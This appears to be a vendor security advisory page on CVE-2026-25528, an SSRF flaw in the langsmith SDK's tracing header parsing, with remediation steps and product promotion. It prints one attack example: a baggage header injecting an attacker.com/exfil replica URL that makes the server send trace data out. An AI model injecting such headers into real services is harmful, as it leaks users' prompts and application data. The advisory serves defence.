CVE-2026-25528 is a medium-severity server-side request forgery (SSRF) vulnerability in langsmith (pip), affecting versions >= 0.4.10, < 0.6.3. It is fixed in 0.6.3, 0.4.6.
Summary The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. Description When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. Attack Vector Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}] The service parses the header via RunTree.fromheaders(), storing the attacker's URL When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil Impact Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services Affected Use Cases Applications are vulnerable if they: Use TracingMiddleware to automatically propagate tracing context Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers Remediation Update to the patched versions: Python: pip install langsmith>=0.6.3 JavaScript: npm install langsmith@>=0.4.6 The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields. Workarounds If unable to upgrade immediately: Strip or validate the baggage header before passing to from_headers() Do not use TracingMiddleware with untrusted traffic
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-25528 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (0.6.3, 0.4.6). Upgrading removes the vulnerable code path.
pip
langsmith (>= 0.4.10, < 0.6.3)npm
langsmith (>= 0.3.41, < 0.4.6)langsmith → 0.6.3 (pip)langsmith → 0.4.6 (npm)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
Kodem's runtime-powered SCA identifies whether CVE-2026-25528 is reachable in your applications. Explore open-source security for your team.
See if CVE-2026-25528 is reachable in your applications. Get a demo
Already deployed Kodem? See CVE-2026-25528 in your environment →Upgrade the following packages to resolve this vulnerability:
langsmith to 0.6.3 or laterlangsmith to 0.4.6 or laterKodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
CVE-2026-25528 is a medium-severity server-side request forgery (SSRF) vulnerability in langsmith (pip), affecting versions >= 0.4.10, < 0.6.3. It is fixed in 0.6.3, 0.4.6. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
CVE-2026-25528 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
langsmith (pip) versions >= 0.4.10, < 0.6.3 is affected.
Yes. CVE-2026-25528 is fixed in 0.6.3, 0.4.6. Upgrade to this version or later.
Whether CVE-2026-25528 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
langsmith to 0.6.3 or laterlangsmith to 0.4.6 or later